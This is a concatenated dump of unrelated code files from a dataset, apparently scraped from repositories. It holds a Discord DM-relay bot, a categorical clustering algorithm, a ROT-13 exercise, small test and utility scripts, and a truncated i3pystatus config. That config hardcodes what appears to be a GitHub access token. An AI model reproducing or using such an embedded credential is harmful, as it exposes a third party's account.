-> discord.TextChannel:\n doc = await self.collection.find_one({'user': user.id}, {'channel': True})\n\n if doc and 'channel' in doc:\n return self.guild.get_channel(doc['channel'])\n\n channel = await self.category.create_text_channel(str(user))\n\n await self.collection.find_one_and_update(\n {'user': user.id},\n {'$set': {'channel': channel.id}},\n upsert=True\n )\n\n msg = f'Created new DM channel for **{user}** {user.mention} ({user.id})\\n\\n'\n msg += f'**Mutual guilds:** {\", \".join([str(guild) for guild in self.bot.guilds if user in guild.members])}'\n\n await self.system_message(channel, msg)\n\n return channel\n\n async def system_message(self, channel: discord.TextChannel, message: str):\n bot = self.guild.get_member(self.bot.user.id)\n e = discord.Embed(description='', color=bot.color)\n e.set_author(name=f'[SYSTEM]')\n e.description += f'{message}'\n e.timestamp = datetime.now()\n\n await channel.send(embed=e)\n\n async def attachments_to_files(self, attachments: List[discord.Attachment]) -> List[discord.File]:\n files = []\n for attachment in attachments:\n buffer = BytesIO(await attachment.read())\n files.append(discord.File(buffer, filename=attachment.filename))\n\n return files\n\n\n @commands.Cog.listener()\n async def on_message(self, message: discord.Message):\n if message.author.id == self.bot.user.id:\n return\n\n if message.guild:\n return\n\n channel = await self.get_dm_channel(message.author)\n\n e = discord.Embed(color = 0x4CAF50)\n e.description = f'{message.content}'\n e.timestamp = datetime.now()\n e.set_author(name=f'{message.author.name}#{message.author.discriminator}', icon_url=message.author.avatar_url)\n\n files = await self.attachments_to_files(message.attachments)\n\n await channel.send(embed=e, files=files)\n\n\n @commands.group(name='dm', invoke_without_command=True, hidden=True)\n async def dm(self, ctx):\n if ctx.invoked_subcommand is None:\n await ctx.send_help(ctx.command)\n\n @dm.command()\n async def new(self, ctx, user: discord.User):\n channel = await self.get_dm_channel(user)\n await ctx.send(f'{channel.mention}')\n\n @dm.command(aliases=['r', 'send', 's'])\n async def reply(self, ctx, *, msg: Optional[Text] = \"\"):\n if not ctx.channel.category_id or ctx.channel.category_id != CATEGORY:\n raise InvalidDMContext()\n\n user = await self.user_from_channel(ctx.channel)\n\n files = await self.attachments_to_files(ctx.message.attachments)\n\n try:\n sent = await user.send(msg, files=files)\n except discord.Forbidden as e:\n await self.system_message(ctx, f'Error: {e.text}')\n return\n\n e = discord.Embed(color = 0x2196F3)\n e.description = f'{msg}'\n\n e.timestamp = datetime.now()\n e.set_author(name=f'{ctx.author.name}#{ctx.author.discriminator}', icon_url=ctx.author.avatar_url)\n\n # lazyass\n files = await self.attachments_to_files(sent.attachments)\n await ctx.send(embed=e, files=files)\n\n await ctx.message.delete()\n\n @dm.command()\n async def close(self, ctx):\n if not ctx.channel.category_id or ctx.channel.category_id != CATEGORY:\n raise InvalidDMContext()\n\n await self.collection.find_one_and_delete({'channel': ctx.channel.id})\n await ctx.channel.delete(reason=f'DM closed by {ctx.author}')\n\n\n @dm.command()\n async def closeall(self, ctx, nuke: bool = False):\n if nuke:\n for channel in self.category.channels:\n await channel.delete()\n\n else:\n async for doc in self.collection.find({}):\n channel = self.bot.get_channel(doc['channel'])\n await channel.delete()\n\n res = await self.collection.delete_many({})\n await ctx.send(f'Deleted {res.deleted_count} channels')\n\n\ndef setup(bot):\n bot.add_cog(DM(bot))\n","sub_path":"cogs/dm.py","file_name":"dm.py","file_ext":"py","file_size_in_byte":5985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"472038344","text":"# -*- coding: utf-8 -*-\n'''Noted by Tai Dinh\nFile này dùng để chạy giải thuật Modified 1, kết hợp k-centers nguyên bản và Equation 21, dùng global_attr_freq = 1\n'''\nfrom __future__ import division\nfrom collections import defaultdict\nimport numpy as np\nfrom scipy import *\n\n\ndef get_max_value_key(dic):\n '''Fast method to get key for maximum value in dict'''\n v = list(dic.values())\n k = list(dic.keys())\n return k[v.index(max(v))]\n\n'''\nHàm này tính dissimilarity giữa 2 thuộc tính x và y tại vị trí iattr (d)\nsử dụng bảng tính xác suất global_attr_freq. Trong đó global_axttr_freq[i][x]\nsẽ là xác suất của thuộc tính tại vị trí i mang giá trị là x trên toàn bộ tập\nmẫu samples.\n\nCông thức tính sử dụng là\ndis(x, y) = 1 - 2 * log(P{x, y}) / (log(P{x}) + log(P{y}))\n'''\n\n\ndef attr_dissim(x, y, iattr, global_attr_freq):\n '''\n Dissimilarity between 2 categorical attributes x and y at the attribute iattr, i.e\n dis(x, y) = 1 - 2 * log(P{x, y}) / (log(P{x}) + log(P{y}))\n '''\n if (global_attr_freq[iattr][x] == 1.0) and (global_attr_freq[iattr][y] == 1.0):\n return 0\n if x == y:\n numerator = 2 * math.log(global_attr_freq[iattr][x])\n else:\n numerator = 2 * math.log((global_attr_freq[iattr][x] + global_attr_freq[iattr][y]))\n denominator = math.log(global_attr_freq[iattr][x]) + math.log(global_attr_freq[iattr][y]) #Noted by Tai Dinh, Equation 21, page 124\n return 1 - numerator / denominator\n\n'''\nHàm này tính dissimilarity giữa 1 centroid (vector trung tâm) và vector a\n'''\n\n\ndef vector_matching_dissim(centroid, a, global_attr_freq):\n '''Get distance between a centroid and a'''\n\n '''\n Giá trị ic ở bên dưới là chỉ số các thuộc tính (1..D)\n curc là giá trị của thuộc tính đấy, chính là centroid[ic]\n '''\n distance = 0.\n for ic, curc in enumerate(centroid):\n '''\n keys ở đây là tập các giá trị của thuộc tính tại vị trí ic\n Khoảng cách distance chính là tổng các dissimilarity giữa\n mỗi key (1 giá trị trong tập keys) với thuộc tính tại vị trí ic của a\n '''\n keys = curc.keys()\n for key in keys:\n distance += curc[key] * attr_dissim(key, a[ic], ic, global_attr_freq)\n return distance\n\n\n'''\nHàm này tính khoảng cách giữa các vectors trung tâm (còn gọi là centroids)\nvà 1 vector a, sử dụng bảng tính xác suất global_attr_freq. Trong đó global_axttr_freq[i][x]\nsẽ là xác suất của thuộc tính tại vị trí i mang giá trị là x trên toàn bộ tập\nmẫu samples.\n'''\n\n\ndef vectors_matching_dissim(vectors, a, global_attr_freq):\n '''Get nearest vector in vectors to a'''\n '''\n Ban đầu gán giá trị nhỏ nhất là vô cùng lớn\n Với mỗi vector trung tâm, tìm khoảng cách (dissimilarity) giữa nó với a\n bằng hàm vector_matching_dissim. Nếu dissim mới tìm được nhỏ hơn giá trị\n hiện có thì cập nhật lại.\n\n Cuối cùng là trả về giá trị dissim và min_clust (id của cụm gần nhất)\n '''\n min = np.Inf\n min_clust = -1\n for clust in range(len(vectors)):\n distance = vector_matching_dissim(vectors[clust], a, global_attr_freq)\n if distance < min:\n min = distance\n min_clust = clust\n return min_clust, min\n\n\n'''\nHàm này thực hiện việc chuyển 1 vector point từ cụm này (from_clust) sang\ncụm kia (to_clust), ở đây ipoint là chỉ số của vector trong tập samples.\n\nmembership[cluster_index, ipoint] = 1 có nghĩa là vector có chỉ số ipoint thuộc\nvề cụm cluster_index và ngược lại.\n\ncl_attr_freq[cluster_index][iattr][curattr] là xác suất để thuộc tính mang giá\ntrị curattr tại vị trí iattr trong cụm cluster_index. Nói là xác suất nhưng\nthực ra để giá trị số nguyên k (thay vì k/N) với k là số lần xuất hiện của\nthuộc tính tại vị trí iattr mang giá trị curattr, N là số phần tử trong cụm.\nBởi nếu lưu k/N mà k, N đều có khả năng thay đổi thì phải tính toán lại khá\nphiền toái, lưu mỗi k thì việc +/- dễ dàng hơn.\n\n* Lưu ý global_attr_freq thì lưu xác suất luôn (giá trị dạng k/N) vì chỉ cần\ntính toán 1 lần duy nhất và không có thay đổi\n'''\n\n\ndef move_point_between_clusters(point, ipoint, to_clust, from_clust,\n cl_attr_freq, membership):\n '''Move point between clusters, categorical attributes'''\n\n '''Đánh dấu lại ipoint thuộc về cluster mới, xoá bỏ nó khỏi cluster cũ'''\n membership[to_clust, ipoint] = 1\n membership[from_clust, ipoint] = 0\n # Update frequencies of attributes in clusters\n for iattr, curattr in enumerate(point):\n cl_attr_freq[to_clust][iattr][curattr] += 1\n cl_attr_freq[from_clust][iattr][curattr] -= 1\n return cl_attr_freq, membership\n\ndef matching_dissim(a, b):\n '''Simple matching dissimilarity function'''\n return np.sum(a != b, axis=1)\n\n'''\nKhởi tạo phân bố \"ngẫu nhiên\" các vector trong X vào các cụm\n'''\n\n\ndef _init_clusters(X, centroids, n_clusters, nattrs, npoints, verbose):\n # __INIT_CLUSTER__\n if verbose:\n print(\"Init: Initalizing clusters\")\n membership = np.zeros((n_clusters, npoints), dtype='int64')\n # cl_attr_freq is a list of lists with dictionaries that contain the\n # frequencies of values per cluster and attribute.\n cl_attr_freq = [[defaultdict(int) for _ in range(nattrs)]\n for _ in range(n_clusters)]\n for ipoint, curpoint in enumerate(X):\n # Initial aassignment to clusterss\n clust = np.argmin(matching_dissim(centroids, curpoint))\n membership[clust, ipoint] = 1\n # Count attribute values per cluster\n for iattr, curattr in enumerate(curpoint):\n cl_attr_freq[clust][iattr][curattr] += 1\n\n # Move random selected point from largest cluster to empty cluster if exists\n for ik in range(n_clusters):\n if sum(membership[ik, :]) == 0:\n from_clust = membership.sum(axis=1).argmax()\n choices = \\\n [ii for ii, ch in enumerate(membership[from_clust, :]) if ch]\n rindex = np.random.choice(choices)\n # Move random selected point to empty cluster\n cl_attr_freq, membership = move_point_between_clusters(\n X[rindex], rindex, ik, from_clust, cl_attr_freq, membership)\n\n return cl_attr_freq, membership\n\n\n\n'''\nHàm này tính lại giá trị lambda theo công thức trong slide trang 15\n\nclust không dùng (h mới để ý, chắc sẽ loại bỏ khi sửa lại code)\ncl_attr_freq đã định nghĩa ở trên. cl_attr_freq[iattr][curattr]\nlà xác suất để thuộc tính tại vị trí iattr mang giá trị curattr trong cụm clust\n\nclust_members là tổng số phần tử của cụm\n'''\n\n\n# def cal_lambda(cl_attr_freq, clust_members):\n# '''Re-calculate optimal bandwitch for each cluster'''\n# if clust_members <= 1:\n# return 0.\n#\n# numerator = 0.\n# denominator = 0.\n#\n# for iattr, curattr in enumerate(cl_attr_freq):\n# n_ = 0.\n# d_ = 0.\n# keys = curattr.keys()\n# for key in keys:\n# n_ += 1.0 * curattr[key] / clust_members\n# d_ += math.pow(1.0 * curattr[key] / clust_members, 2) - 1.0 / (len(keys))\n# numerator += math.pow(1 - n_, 2)\n# denominator += d_\n#\n# # print denominator\n# # assert denominator != 0, \"How can denominator equal to 0?\"\n# return 1.0 * numerator / ((clust_members - 1) * denominator)\n\ndef cal_lambda(cl_attr_freq, clust_members):\n '''Re-calculate optimal bandwitch for each cluster'''\n if clust_members <= 1:\n return 0.\n\n numerator = 0.\n denominator = 0.\n\n for iattr, curattr in enumerate(cl_attr_freq):\n n_ = 0.\n d_ = 0.\n keys = curattr.keys()\n for key in keys:\n n_ += math.pow(1.0 * curattr[key] / clust_members,2)\n d_ += math.pow(1.0 * curattr[key] / clust_members, 2)\n numerator += (1 - n_)\n denominator += (d_ - 1.0 / (len(keys)))\n\n # print denominator\n # assert denominator != 0, \"How can denominator equal to 0?\"\n if clust_members == 1 or denominator == 0:\n return 0\n result = (1.0 * numerator) / ((clust_members - 1) * denominator)\n if result < 0:\n return 0;\n if result > 1:\n return 1\n return (1.0 * numerator) / ((clust_members - 1) * denominator)\n\n\ndef _cal_global_attr_freq(X, npoints, nattrs):\n # global_attr_freq is a list of lists with dictionaries that contain the\n # frequencies of attributes.\n global_attr_freq = [defaultdict(float) for _ in range(nattrs)]\n\n for ipoint, curpoint in enumerate(X):\n for iattr, curattr in enumerate(curpoint):\n global_attr_freq[iattr][curattr] += 1.\n for iattr in range(nattrs):\n for key in global_attr_freq[iattr].keys():\n global_attr_freq[iattr][key] /= npoints\n\n return global_attr_freq\n\n\n'''\nTính giá trị vector trung tâm (centroid cho cụm) tại 1 vị trí thuộc tính\n\n* ldb là lambda\n* cl_attr_freq_attr là cl_attr_freq[clust][iattr], có nghĩa là tập các giá trị\ncủa thuộc tính tại vị trí iattr trong cụm clust\n* cluster_members là tổng số phần tử của cụm\n* global_attr_count là tổng số giá trị của thuộc tính tại vị trí iattr tính trên\ntoàn bộ tập mẫu X\n'''\n\n\ndef cal_centroid_value(lbd, cl_attr_freq_attr, cluster_members, attr_count):\n '''Calculate centroid value at iattr'''\n assert cluster_members >= 1, \"Cluster has no member, why?\"\n\n keys = cl_attr_freq_attr.keys()\n vjd = defaultdict(float)\n for odl in keys:\n vjd[odl] = lbd / attr_count + (1 - lbd) * (1.0 * cl_attr_freq_attr[odl] / cluster_members) #Noted by Tai Dinh equation 12, page 121\n return vjd\n\n\n'''\nĐây là mỗi bước lặp của thuật toán k-representative\n\nVới mỗi vector curpoint với chỉ số ipoint trong tập X, tìm ra cụm có trung tâm\n(centroid) gần nó nhất. Nếu chỉ số của cụm này trùng với chỉ số cụm hiện tại của\nvector này (tức là membership[clust, ipoint] == 1) thì thực hiện tính cho vector\ntiếp theo trong cụm.\n\nNếu không, thì thực hiện gán lại chỉ số cụm cho vector này, chú thích sẽ viết\ntiếp ở bên dưới cho dễ hiểu.\n'''\n\n\ndef _k_presentative_iter(X, centroids, cl_attr_freq, membership, global_attr_freq, lbd, use_global_attr_count):\n '''Single iteration of k-representative clustering algorithm'''\n moves = 0\n for ipoint, curpoint in enumerate(X):\n clust, distance = vectors_matching_dissim(centroids, curpoint, global_attr_freq)\n if membership[clust, ipoint]:\n # Sample is already in its right place\n continue\n\n # Move point and update old/new cluster frequencies and centroids\n '''\n moves là tổng số bước chuyển vector giữa các cụm\n old_clust là chỉ số cụm cũ của vector curpoint\n '''\n moves += 1\n old_clust = np.argwhere(membership[:, ipoint])[0][0]\n\n '''\n Chuyển vector chỉ số ipoint từ cụm old_clust sang cụm clust, đồng thời\n tính lại giá trị xác suất của các thuộc tính trong các cụm tương ứng\n '''\n cl_attr_freq, membership = move_point_between_clusters(\n curpoint, ipoint, clust, old_clust, cl_attr_freq, membership)\n\n # In case of an empty cluster, reinitialize with a random point\n # from the largest cluster.\n '''\n Nếu như sau khi chuyển vector từ cụng old_clust sang cụm mới, mà cụm\n old_clust không còn vector nào, thì lấy 1 vector bất kì từ cụm nhiều\n phần tử nhất gán sang cho nó. Cái này để tránh sau bước này có cụm không\n có vector nào.\n '''\n if sum(membership[old_clust, :]) == 0:\n from_clust = membership.sum(axis = 1).argmax()\n choices = \\\n [ii for ii, ch in enumerate(membership[from_clust, :]) if ch]\n rindex = np.random.choice(choices)\n\n cl_attr_freq, membership = move_point_between_clusters(\n X[rindex], rindex, old_clust, from_clust, cl_attr_freq, membership)\n\n # Re-calculate lambda of changed centroid\n for curc in (clust, old_clust):\n lbd[curc] = cal_lambda(cl_attr_freq[curc], sum(membership[curc, :]))\n\n # Update new and old centroids by choosing mode of attribute.\n for iattr in range(len(curpoint)):\n for curc in (clust, old_clust):\n cluster_members = sum(membership[curc, :])\n if use_global_attr_count:\n centroids[curc][iattr] = cal_centroid_value(lbd[curc], cl_attr_freq[curc][iattr], cluster_members, len(global_attr_freq[iattr]))\n else:\n attr_count = len(cl_attr_freq[curc][iattr].keys())\n centroids[curc][iattr] = cal_centroid_value(lbd[curc], cl_attr_freq[curc][iattr], cluster_members, attr_count)\n\n return centroids, moves, lbd\n\n\n'''\nHàm này tính tổng khoảng cách giữa các vectors trong tập mẫu X (samples)\nđến các vectors trung tâm tính ra được sau mỗi bước.\n\nlabels sẽ là nhãn của các vector trong X. labels[x] = c có nghĩa là vector\ncó chỉ số x sẽ thuộc về cụm có chỉ số c\n\ncost là tổng dissimilarity\n'''\n\n\ndef _labels_cost(X, centroids, global_attr_freq):\n '''\n Calculate labels and cost function given a matrix of points and\n a list of centroids for the k-modes algorithm.\n '''\n\n npoints, nattrs = X.shape\n cost = 0.\n labels = np.empty(npoints, dtype = 'int64')\n for ipoint, curpoint in enumerate(X):\n '''\n Với mỗi vector có chỉ số ipoint (giá trị vector là curpoint) trong X\n tìm ra cluster gần nhất với nó bằng hàm vectors_matching_dissim, sau đó\n tính khoảng cách theo công thức trong slide trang 16.\n '''\n clust, diss = vectors_matching_dissim(centroids, curpoint, global_attr_freq)\n assert clust != -1, \"Why there is no cluster for me?\"\n labels[ipoint] = clust\n cost += diss\n\n return labels, cost\n\n\n'''\nThuật toán k-center (tên k-representative chỉ là do cách đặt) tính toán phân cụm\ncho tập dữ liệu X thành n_clusters cụm.\n\n* init là thuật toán khởi tạo dữ liệu ban đầu (ở đây dùng \"ngẫu nhiên\")\n* n_init là số lần chạy thuật toán này với khởi tạo ban đầu khác nhau, mặc định\nlà 10 lần\n* max_iter là số lần chạy thuật toán tối đa\n* verbose == 1 là in ra các bước chạy, == 0 thì không in\n'''\n\n\ndef k_representative(X, n_clusters, init, n_init, max_iter, verbose, use_global_attr_count):\n '''k-representative algorithm'''\n\n X = np.asanyarray(X)\n npoints, nattrs = X.shape\n assert n_clusters < npoints, \"More clusters than data points?\"\n\n all_centroids = []\n all_labels = []\n all_costs = []\n\n for init_no in range(n_init):\n #__INIT__\n if verbose:\n if use_global_attr_count:\n print (\"Clustering using GLOBAL attr count\")\n else:\n print (\"Clustering using LOCAL attr count\")\n print(\"Init: Initalizing centroids\")\n if init == 'random':\n seeds = np.random.choice(range(npoints), n_clusters)\n centroids = X[seeds]\n else:\n raise NotImplementedError\n\n '''\n Tính bảng xác suất các thuộc tính trên toàn cụm sử dụng hàm\n _cal_global_attr_freq()\n\n _init_clusters() là hàm khởi tạo các cụm 1 cách \"ngẫu nhiên\"\n NOTE: Chỗ này cũng có thể tiềm ẩn cài đặt sai.\n '''\n global_attr_freq = _cal_global_attr_freq(X, npoints, nattrs)\n cl_attr_freq, membership = _init_clusters(X, centroids, n_clusters, nattrs, npoints, verbose)\n\n centroids = [[defaultdict(float) for _ in range(nattrs)]\n for _ in range(n_clusters)]\n # Perform initial centroid update\n lbd = np.zeros(n_clusters, dtype='float')\n for ik in range(n_clusters):\n cluster_members = sum(membership[ik, :])\n for iattr in range(nattrs):\n centroids[ik][iattr] = cal_centroid_value(lbd[ik], cl_attr_freq[ik][iattr], cluster_members, len(global_attr_freq[iattr]))\n\n # __ITERATION__\n if verbose:\n print(\"Starting iterations...\")\n itr = 0\n converged = False\n cost = np.Inf\n '''\n Bước lặp chính của thuật toán\n 1. Tính các vector trung tâm, lambda\n 2. Nếu dissimilarity mới (cost) nhỏ hơn thì cập nhật và tiếp tục thực\n hiện thuật toán lần nữa (từ bước 1).\n Nếu lớn hơn thì kết thúc thuật toán.\n '''\n while itr <= max_iter and not converged:\n itr += 1\n if verbose:\n print(\"...k-center loop\")\n centroids, moves, lbd = _k_presentative_iter(X, centroids, cl_attr_freq, membership, global_attr_freq, lbd, use_global_attr_count)\n if verbose:\n print(\"...Update labels, costs\")\n labels, ncost = _labels_cost(X, centroids, global_attr_freq)\n converged = (moves == 0) or (ncost >= cost)\n cost = ncost\n if verbose:\n print(\"Run {}, iteration: {}/{}, moves: {}, cost: {}\"\n . format(init_no + 1, itr, max_iter, moves, cost))\n\n # Store result of current runt\n all_centroids.append(centroids)\n all_labels.append(labels)\n all_costs.append(cost)\n\n '''\n Tìm giá trị best là bước thực hiện cho tổng số dissimilarity là nhỏ nhất\n '''\n best = np.argmin(all_costs)\n if n_init > 1 and verbose:\n print(\"Best run was number {}, min cost is {}\" . format(best + 1, all_costs[best]))\n\n return all_centroids[best], all_labels[best], all_costs[best]\n\n\nclass KRepresentative(object):\n\n '''k-representative clustering algorithm for categorical data\n\n Parameters\n -----------\n K : int, optional, default: 8\n The number of clusters to form as well as the number of\n centroids to generate.\n\n max_iter : int, default: 300\n Maximum number of iterations of the k-modes algorithm for a\n single run.\n\n n_init : int, default: 10\n Number of time the k-modes algorithm will be run with different\n centroid seeds. The final results will be the best output of\n n_init consecutive runs in terms of cost.\n\n init : 'random'\n 'random': choose k observations (rows) at random from data for\n the initial centroids.\n\n verbose : boolean, optional\n Verbosity mode.\n\n Attributes\n ----------\n cluster_centroids_ : array, [K, n_features]\n Categories of cluster centroids\n\n labels_ :\n Labels of each point\n\n cost_ : float\n Clustering cost, defined as the sum distance of all points to\n their respective cluster centroids.\n '''\n\n def __init__(self, n_clusters=8, init='random', n_init=10, max_iter=100,\n verbose=1, use_global_attr_count=1):\n if verbose:\n print (\"Number of clusters: {0}\" . format(n_clusters))\n print (\"Init type: {0}\" . format(init))\n print (\"Local loop: {0}\" . format(n_init))\n print (\"Max iterations: {0}\" . format(max_iter))\n print (\"Use global attributes count: {0}\" . format(use_global_attr_count > 0))\n\n if hasattr(init, '__array__'):\n n_clusters = init.shape[0];\n init = np.asarray(init, dtype = np.float64);\n\n self.n_clusters = n_clusters;\n self.init = init;\n self.n_init = n_init\n self.verbose = verbose\n self.max_iter = max_iter\n self.use_global_attr_count = use_global_attr_count\n\n def fit(self, X, **kwargs):\n '''Compute k-representative clustering.\n\n Parameters\n ----------\n X : array-like, shape=[n_samples, n_features]\n '''\n\n self.cluster_centroids_, self.labels_, self.cost_ = \\\n k_representative(X, self.n_clusters, self.init,\n self.n_init, self.max_iter, self.verbose, self.use_global_attr_count)\n return self\n\n def fit_predict(self, X, **kwargs):\n '''Compute cluster centroids and predict cluster index for each sample.\n\n Convenience method; equivalent to calling fit(X) followed by\n predict(X).\n '''\n return self.fit(X, **kwargs).labels_\n\n def predict(self, X, **kwargs):\n '''Predict the closest cluster each sample in X belongs to.\n\n Parameters\n ----------\n X : array-like, shape = [n_samples, n_features]\n New data to predict.\n\n Returns\n -------\n labels : array, shape [n_samples,]\n Index of the cluster each sample belongs to.\n '''\n # assert hasattr(self, 'cluster_centroids_'), \"Model not yet fitted\"\n # return _labels_cost(X, self.cluster_centroids_)[0]","sub_path":"for_categorical_data/kmodes_fold/k_center1.py","file_name":"k_center1.py","file_ext":"py","file_size_in_byte":21618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"138487647","text":"# 测试代码\r\n\r\n#11-1\r\n\r\nimport unittest\r\nfrom city_functions import city_country\r\n\r\nclass test_city_country(unittest.TestCase):\r\n \"\"\"测试city_function.py\"\"\"\r\n\r\n def test_cc(self):\r\n \"\"\"能够正确处理city,country这样的对象\"\"\"\r\n test_name = city_country('chengdu','china')\r\n self.assertEqual(test_name, 'Chengdu China')\r\nunittest.main()","sub_path":"Chpater 11/11-2/test_cities.py","file_name":"test_cities.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"424593378","text":"#!/cm/shared/openmind/anaconda/2.1.0/bin/python\n\nimport subprocess\n\nnumIterations = 20\nfor faceNumber in range(1, 2):\n\tfor occluder in ['Fence']:\n\t\tfor occLevel in range(3, 4):\n\t\t\tif occluder == 'None':\n\t\t\t\toccLevel = 0\n\t\t\tp = subprocess.Popen(['/om/user/janner/blender-2.71-linux-glibc211-x86_64/blender', '/om/user/janner/mit/urop/picture/centos/occlusionPicture_2.blend', '--background', '--python', '/om/user/janner/mit/urop/picture/centos/main.py', '--', str('dDiff-dOccl/results/Face' + str(faceNumber) + '/' + str(occluder) + '/' + str(occLevel) + '/'), occluder, str(occLevel), str(numIterations)])#, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n","sub_path":"dDiff-dOccl/run_dDiff.py","file_name":"run_dDiff.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"335029788","text":"# 8. In cryptography, a Caesar cipher is a very simple encryption techniques in which each letter in\n# the plain text is replaced by a letter some fixed number of positions down the alphabet. For\n# example, with a shift of 3, A would be replaced by D, B would become E, and so on. The method\n# is named after Julius Caesar, who used it to communicate with his generals. ROT-13 (\"rotate by 13\n# places\") is a widely used example of a Caesar cipher where the shift is 13. In Python, the key for\n# ROT-13 may be represented by means of the following dictionary:\n# key = {'a':'n', 'b':'o', 'c':'p', 'd':'q', 'e':'r', 'f':'s', 'g':'t', 'h':'u', 'i':'v', 'j':'w', 'k':'x', 'l':'y', 'm':'z', 'n':'a',\n# 'o':'b','p':'c', 'q':'d', 'r':'e', 's':'f', 't':'g', 'u':'h', 'v':'i', 'w':'j', 'x':'k', 'y':'l', 'z':'m', 'A':'N', 'B':'O', 'C':'P',\n# 'D':'Q', 'E':'R','F':'S', 'G':'T', 'H':'U', 'I':'V', 'J':'W', 'K':'X', 'L':'Y', 'M':'Z', 'N':'A','O':'B', 'P':'C', 'Q':'D',\n# 'R':'E', 'S':'F', 'T':'G','U':'H', 'V':'I', 'W':'J', 'X':'K', 'Y':'L', 'Z':'M'}\n# Your task in this exercise is to implement an encoder/decoder of ROT-13. Once you're done, you\n# will be able to read the following secret message:\n# Pnrfne pvcure? V zhpu cersre Pnrfne fnynq!\n# Note that since English has 26 characters, your ROT-13 program will be able to both encode and\n# decode texts written in English.\n\n\nCryptokey = {'a':'n', 'b':'o', 'c':'p', 'd':'q', 'e':'r', 'f':'s', 'g':'t', 'h':'u', 'i':'v', 'j':'w', 'k':'x', 'l':'y', 'm':'z', 'n':'a',\n'o':'b','p':'c', 'q':'d', 'r':'e', 's':'f', 't':'g', 'u':'h', 'v':'i', 'w':'j', 'x':'k', 'y':'l', 'z':'m', 'A':'N', 'B':'O', 'C':'P',\n'D':'Q', 'E':'R','F':'S', 'G':'T', 'H':'U', 'I':'V', 'J':'W', 'K':'X', 'L':'Y', 'M':'Z', 'N':'A','O':'B', 'P':'C', 'Q':'D',\n'R':'E', 'S':'F', 'T':'G','U':'H', 'V':'I', 'W':'J', 'X':'K', 'Y':'L', 'Z':'M'}\n\ndef cryptography(word):\n \"\"\"\n it take word from the iterator map and check for each character in word and replace it with the character in the dictonary\n and concatinate replaced char to the string\n :param word:\n :return: string( word)\n \"\"\"\n finalword = \"\"\n for character in word:\n if character in Cryptokey:\n finalword = finalword + str(Cryptokey.get(character))\n else:\n finalword = finalword + character\n\n return finalword\n\n\n\ndef main_Funtion():\n input_isEncDec = input(\" Do you want to Encode or Decode ( Give 'E' for encode , 'D' for Decode ) :\" )\n if input_isEncDec.isalpha():\n if input_isEncDec == 'E':\n input_string = input(\" Enter the text to Encode : \")\n EncodewordList = list(input_string.split(\" \")) # list of words\n # print(EncodeList)\n #calling cryotography on the list of words in EncodewordList\n finalList = list(map(cryptography , EncodewordList)) # words will be passed to cryptography function\n elif input_isEncDec == 'D':\n input_string = input(\" Enter the text to decode : \")\n DecodewordList = list(input_string.split(\" \"))\n # print(EncodeList)\n finalList = list(map(cryptography , DecodewordList))\n else:\n print(\" oopss!!!You entered the wrong option. Enter the right option E/D \")\n return\n\n finalSting = \" \".join(finalList) #joining the list of words to form a string\n print(\" The result is '{}' \".format(finalSting))\n\n\nmain_Funtion()\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"cryptographyProblem8.py","file_name":"cryptographyProblem8.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"149639801","text":"import sys\nimport os\n\nclass Enumerator:\n\n def __init__(self, start, first, last):\n self.start = start\n self.first = first\n self.last = last\n\n def Main(self):\n for i in range(self.first, self.last):\n os.system(\"mv test{0}.in test{1}.in\".format(str(i).zfill(3), str(self.start).zfill(3)))\n os.system(\"mv test{0}.out test{1}.out\".format(str(i).zfill(3), str(self.start).zfill(3)))\n self.start += 1\n\nif __name__ == \"__main__\":\n enumerator = Enumerator(*[int(x) for x in sys.argv[1:]])\n enumerator.Main()\n","sub_path":"tests/testParserBlocks/reenumTest.py","file_name":"reenumTest.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"228188543","text":"import sys\nimport numpy as np\nsys.path.append('genomagic_utils')\nimport vcf_utils as vu\nimport similarity_utils as su\n\n\n\nsu.get_probability_of_random_similarity_sequence(total_markers_num, p, win_len, min_th, trials_num)\n\np = 0.5\nn = 1000\nwin_len = 20\ntrials_num = 1000\nmin_threshold = 1\n#x = 1.0 * (np.random.rand(n, ) > p)\n#y = su.get_sliding_window_average(x, win_len)\n#val, idx = max((val, idx) for (idx, val) in enumerate(y))\n#print(\"{} {}\".format(val, idx))\nsuccess_num = 0.0\narr = []\nfor i in range(trials_num):\n x = 1.0*(np.random.rand(n,)>p)\n y = su.get_sliding_window_average(x, win_len)\n# print\n arr.append(max(y))\n if any(y >= min_threshold):\n success_num += 1\nprint(success_num / trials_num)\n\n\n\n\n\n","sub_path":"script2.py","file_name":"script2.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"187291902","text":"import pymel.core as pm\n\nobj = 'mouthC'\npos = 'RU'\n\nctrl = obj + '_ctrl_' + pos\nspace = obj + '_space_' + pos\nmulti = obj + '_multiMatrix_' + pos\ndecompose = obj + '_decomposeMatrix_' + pos\njntPrx = obj + '_jntPrx_' + pos\n\npm.connectAttr(ctrl + '.matrix',multi + '.matrixIn[0]')\npm.connectAttr(space + '.matrix',multi + '.matrixIn[1]')\n\npm.connectAttr(multi + '.matrixSum', decompose + '.inputMatrix')\n\npm.connectAttr(decompose + '.outputTranslate',jntPrx + '.translate')\npm.connectAttr(decompose + '.outputRotate',jntPrx + '.rotate')\npm.connectAttr(decompose + '.outputScale',jntPrx + '.scale')","sub_path":"matrixConnectAttr.py","file_name":"matrixConnectAttr.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"25536646","text":"from i3pystatus import Status\n\nstatus = Status()\n\n# Show github unread notifications\nstatus.register(\"github\",\n access_token='OTM0M2I2MjAxYzQwNzM3MDZ3dNV05sWTJRNVptSXhabU5sTXpZMk16QTRZalE0WmdvPQo=',\n notify_unread=True,\n 